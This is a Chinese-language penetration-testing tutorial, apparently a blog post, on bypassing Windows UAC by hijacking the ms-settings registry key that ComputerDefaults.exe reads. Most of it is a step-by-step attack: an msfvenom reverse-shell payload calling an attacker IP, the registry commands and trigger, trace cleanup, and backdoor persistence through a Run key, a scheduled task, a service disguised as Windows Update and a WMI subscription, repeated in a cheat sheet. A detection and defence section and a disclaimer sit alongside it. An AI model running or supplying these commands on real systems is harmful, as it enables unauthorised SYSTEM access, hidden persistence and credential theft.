利用ComputerDefaults.exe绕过Windows UAC:从权限提升到持久化的完整指南
本文最后更新于 2026-01-25,文章内容可能已经过时。
在Windows渗透测试中,绕过用户账户控制(UAC)是获取高权限的关键一步。本文将详细介绍如何利用ComputerDefaults.exe实现UAC绕过、权限提升和持久化。
背景与原理
什么是UAC?
用户账户控制(UAC)是Windows的安全机制,旨在防止恶意程序未经授权进行系统更改。即使以管理员身份登录,大多数程序也默认以中等完整性级别运行,需要明确同意才能获得高权限。
ComputerDefaults.exe是什么?
ComputerDefaults.exe是Windows中设置默认程序的工具。其特殊之处在于:
它需要修改系统设置,因此会自动以高完整性级别运行
它通过注册表查找要执行的命令
相关的注册表项在
HKCU(当前用户)下,管理员用户可以修改
劫持原理
text
ComputerDefaults.exe启动
↓
检查注册表:HKCU\Software\Classes\ms-settings\Shell\Open\command
↓
找到我们设置的恶意命令路径
↓
以高权限执行该命令
↓
我们的payload以SYSTEM或高完整性级别运行环境准备
攻击机配置
操作系统:Kali Linux
IP地址:
<YOUR_ATTACKER_IP>工具:Metasploit Framework
目标机配置
操作系统:Windows 10/11
已获得:初始Administrator权限(中等完整性)
shell -> whoami /groups | findstr "Mandatory"
目标:获取SYSTEM权限并建立持久化
Payload生成
bash
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<YOUR_ATTACKER_IP> \
LPORT=<LISTEN_PORT> \
-f exe \
-o backdoor.exe手动劫持步骤
第一步:上传Payload
bash
# 在已有的meterpreter会话中
meterpreter > upload backdoor.exe C:\\Windows\\Temp\\backdoor.exe
[*] uploading : backdoor.exe -> C:\Windows\Temp\backdoor.exe第二步:备份原始注册表(安全第一)
bash
meterpreter > shell
C:\> reg export "HKCU\Software\Classes\ms-settings" backup.reg 2>nul第三步:创建注册表劫持
bash
# 1. 创建注册表键结构
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
# 2. 设置默认值为payload路径
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
# 3. 创建关键的空DelegateExecute值
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f参数解析:
/ve:设置默认值(名称为空)/t REG_SZ:字符串类型/d:数据值/f:强制覆盖DelegateExecute:空字符串是关键,阻止系统使用默认处理程序
第四步:验证注册表设置
bash
C:\> reg query "HKCU\Software\Classes\ms-settings\Shell\Open\command" /s
# 预期输出:
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
(默认) REG_SZ C:\Windows\Temp\backdoor.exe
DelegateExecute REG_SZ第五步:触发提权
bash
C:\> start computerdefaults.exe
# 程序在后台运行,无可见窗口第六步:接收高权限会话
在攻击机上检查新会话:
bash
msf6 > sessions
Active sessions
===============
Id Name Type Information
-- ---- ---- -----------
1 meterpreter x64/windows Administrator @ WIN10-PC
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN10-PC # 新会话!验证新会话权限:
bash
msf6 > sessions -i 2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM第七步:清理注册表痕迹
bash
C:\> reg delete "HKCU\Software\Classes\ms-settings" /f
C:\> del backup.reg持久化策略
获得SYSTEM权限后,实施多层持久化:
1. Meterpreter Persistence模块
bash
meterpreter > run persistence -U -i 60 -p <LISTEN_PORT> -r <YOUR_ATTACKER_IP>-U:用户登录时运行-i 60:每60秒重连-p/-r:指定端口和IP
2. 注册表启动项
bash
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \
-v "WindowsUpdate" \
-d "C:\\Windows\\Temp\\backdoor.exe"3. 计划任务
bash
meterpreter > shell
C:\> schtasks /create /tn "SystemMaintenance" \
/tr "C:\Windows\Temp\backdoor.exe" \
/sc onstart \
/ru SYSTEM /f4. 系统服务
bash
C:\> sc create "WindowsUpdateService" \
binPath= "C:\Windows\Temp\backdoor.exe" \
type= own \
start= auto \
DisplayName= "Windows Update Service"5. WMI事件订阅(高级隐蔽)
powershell
# 创建WMI事件过滤器
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{
Name = 'SystemMonitor'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 创建WMI事件消费者
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{
Name = 'SystemMaintenance'
CommandLineTemplate = "C:\Windows\Temp\backdoor.exe"
}
# 绑定过滤器和消费者
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{
Filter = $filter
Consumer = $consumer
}防御与检测
如何检测此类攻击?
1. 注册表监控
监控关键注册表路径的修改:
powershell
# 监控HKCU\Software\Classes\ms-settings的更改
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4657 # 注册表值修改
} | Where-Object {$_.Properties[1].Value -like '*ms-settings*'}2. 进程监控
检查ComputerDefaults.exe的异常子进程:
powershell
Get-CimInstance Win32_Process | Where-Object {
$_.Name -eq 'computerdefaults.exe'
} | Select-Object ProcessId, CommandLine, ParentProcessId3. 文件系统监控
监控C:\Windows\Temp目录的可执行文件创建:
powershell
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4688 # 新进程创建
} | Where-Object {$_.Properties[5].Value -like '*\Windows\Temp\*.exe'}防御措施
1. 最小权限原则
用户不应有不必要的管理员权限
使用标准用户账户进行日常操作
2. 应用控制策略
powershell
# 使用AppLocker限制未签名程序执行
New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone3. 注册表权限加固
限制对关键注册表项的写权限:
powershell
# 限制HKCU\Software\Classes\ms-settings的权限
$acl = Get-Acl "HKCU:\Software\Classes\ms-settings"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule(
"Users",
"ReadKey",
"ContainerInherit,ObjectInherit",
"None",
"Allow"
)
$acl.SetAccessRule($rule)
Set-Acl -Path "HKCU:\Software\Classes\ms-settings" -AclObject $acl4. 端点检测与响应(EDR)
配置EDR规则检测异常行为:
ComputerDefaults.exe启动非系统程序
临时目录中的可执行文件
异常的WMI事件订阅
技术深度分析
为什么这个方法有效?
信任链滥用:ComputerDefaults.exe是微软签名的可信程序
自动提权机制:需要修改系统默认程序,因此自动请求高权限
用户可写配置:关联配置在HKCU下,用户可修改
协议处理程序:ms-settings是Windows协议,可被劫持
与其他UAC绕过方法的对比
演化历史
2017年:该方法首次公开披露
Windows更新:微软尝试修复但未完全成功
当前状态:在最新Windows 10/11中仍然有效
变种:衍生出多种类似的协议劫持方法
实战案例
场景:企业内网渗透
初始访问:通过钓鱼邮件获得初始立足点
权限提升:发现是本地管理员但受UAC限制
UAC绕过:使用ComputerDefaults方法获得SYSTEM权限
凭证窃取:转储LSASS内存获取域凭据
横向移动:使用获取的凭据访问其他系统
持久化:建立多个持久化机制
操作时间线
text
09:00 - 初始感染,获得User权限
09:30 - 本地提权到Administrator
10:00 - 发现UAC限制,研究绕过方法
10:30 - 成功使用ComputerDefaults绕过UAC
11:00 - 获得SYSTEM权限,开始凭证收集
12:00 - 建立多层持久化
13:00 - 开始横向移动法律与道德考量
授权测试
仅在获得书面授权的环境中进行测试
明确测试范围和目标
遵守当地法律法规
负责任的披露
发现漏洞时应:
向厂商报告
给予合理修复时间
避免公开详细利用代码
协助验证修复
总结
ComputerDefaults劫持是一种有效的UAC绕过技术,利用了Windows信任机制的设计缺陷。其优势在于:
简单有效:只需几条注册表命令
跨版本兼容:适用于多个Windows版本
高成功率:在多种环境下测试有效
教育价值:深入理解Windows安全机制
关键要点
UAC不是绝对安全边界,只是增加攻击难度
防御需要多层策略,包括监控、最小权限和应用控制
持续监控和更新是保持安全的关键
进一步学习
研究其他UAC绕过技术(如COM劫持、DLL劫持)
学习Windows完整性级别机制
实践端点检测规则的编写
参与CTF比赛中的PrivEsc挑战
附录:常用命令速查
bash
# 生成payload(替换尖括号内的值)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_ATTACKER_IP> LPORT=<LISTEN_PORT> -f exe -o backdoor.exe
# 注册表操作
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
# 触发提权
start computerdefaults.exe
# 检查权限
whoami /groups | findstr "High"
# 清理痕迹
reg delete "HKCU\Software\Classes\ms-settings" /f注意:本文仅用于教育目的。在实际环境中使用这些技术前,请确保获得合法授权。未经授权攻击计算机系统是违法行为。